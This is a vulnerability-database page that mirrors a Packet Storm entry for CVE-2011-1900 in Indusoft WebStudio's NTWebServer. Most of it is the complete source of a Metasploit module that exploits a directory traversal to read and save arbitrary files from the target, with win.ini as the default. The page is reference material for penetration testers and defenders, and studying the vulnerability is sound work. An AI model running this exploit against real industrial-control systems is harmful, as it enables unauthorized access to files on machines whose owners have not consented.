Lucene search
K

Indusoft WebStudio NTWebServer Remote File Access

🗓️ 31 Aug 2024 00:00:00Reported by juan vazquez, temp66, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 173 Views

This module exploits a directory traversal vulnerability in Indusoft WebStudio NTWebServer component allowing arbitrary remote file access with NTWebServer process privileges. Successfully tested on Indusoft WebStudio 6.1 SP6

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
EAServer <= 6.3.1 Multiple Vulnerabilities
3 Jul 201300:00
nessus
Circl
CVE-2011-1900
29 May 201815:50
circl
CVE
CVE-2011-1900
4 May 201122:00
cve
Cvelist
CVE-2011-1900
4 May 201122:00
cvelist
Metasploit
Indusoft WebStudio NTWebServer Remote File Access
27 Sep 201222:29
metasploit
NVD
CVE-2011-1900
4 May 201122:55
nvd
OpenVAS
InduSoft Web Studio Directory Traversal Vulnerability
26 May 201100:00
openvas
OpenVAS
InduSoft Web Studio Directory Traversal Vulnerability
26 May 201100:00
openvas
Prion
Directory traversal
4 May 201122:55
prion
RedhatCVE
CVE-2011-1900
22 May 202500:29
redhatcve
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Indusoft WebStudio NTWebServer Remote File Access',  
'Description' => %q{  
This module exploits a directory traversal vulnerability in Indusoft WebStudio.  
The vulnerability exists in the NTWebServer component and allows to read arbitrary  
remote files with the privileges of the NTWebServer process. The module has been  
tested successfully on Indusoft WebStudio 6.1 SP6.  
},  
'References' =>  
[  
[ 'CVE', '2011-1900' ],  
[ 'OSVDB', '73413' ],  
[ 'BID', '47842' ],  
[ 'URL', 'http://www.indusoft.com/hotfixes/hotfixes.php' ]  
],  
'Author' =>  
[  
'Unknown', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
OptString.new('RFILE', [true, 'Remote File', '/windows\\win.ini']),  
OptInt.new('DEPTH', [true, 'Traversal depth', 3])  
])  
  
register_autofilter_ports([ 80 ])  
end  
  
def run_host(ip)  
res = send_request_cgi({  
'uri' => "/",  
'method' => 'GET'  
})  
  
if not res  
print_error("#{rhost}:#{rport} - Unable to connect")  
return  
end  
  
accessfile(ip)  
end  
  
def accessfile(rhost)  
  
traversal = "../" * datastore['DEPTH']  
rfile = ""  
  
if datastore['RFILE'][0] == "/"  
rfile = datastore['RFILE'][1..datastore['RFILE'].length-1]  
else  
rfile = datastore['RFILE']  
end  
  
print_status("#{rhost}:#{rport} - Checking if file exists...")  
  
res = send_request_cgi({  
'uri' => "/#{traversal}#{rfile}",  
'method' => 'HEAD'  
})  
  
if res and res.code == 200 and res.message =~ /File Exists/  
print_good("#{rhost}:#{rport} - The file exists")  
else  
print_error("#{rhost}:#{rport} - The file doesn't exist")  
return  
end  
  
print_status("#{rhost}:#{rport} - Retrieving remote file...")  
  
res = send_request_cgi({  
'uri' => "/#{traversal}#{rfile}",  
'method' => 'GET'  
})  
  
if res and res.code == 200 and res.message =~ /Sending file/  
loot = res.body  
if not loot or loot.empty?  
print_status("#{rhost}:#{rport} - Retrieved empty file")  
return  
end  
f = ::File.basename(datastore['RFILE'])  
path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])  
print_good("#{rhost}:#{rport} - #{datastore['RFILE']} saved in #{path}")  
return  
end  
  
print_error("#{rhost}:#{rport} - Failed to retrieve file")  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation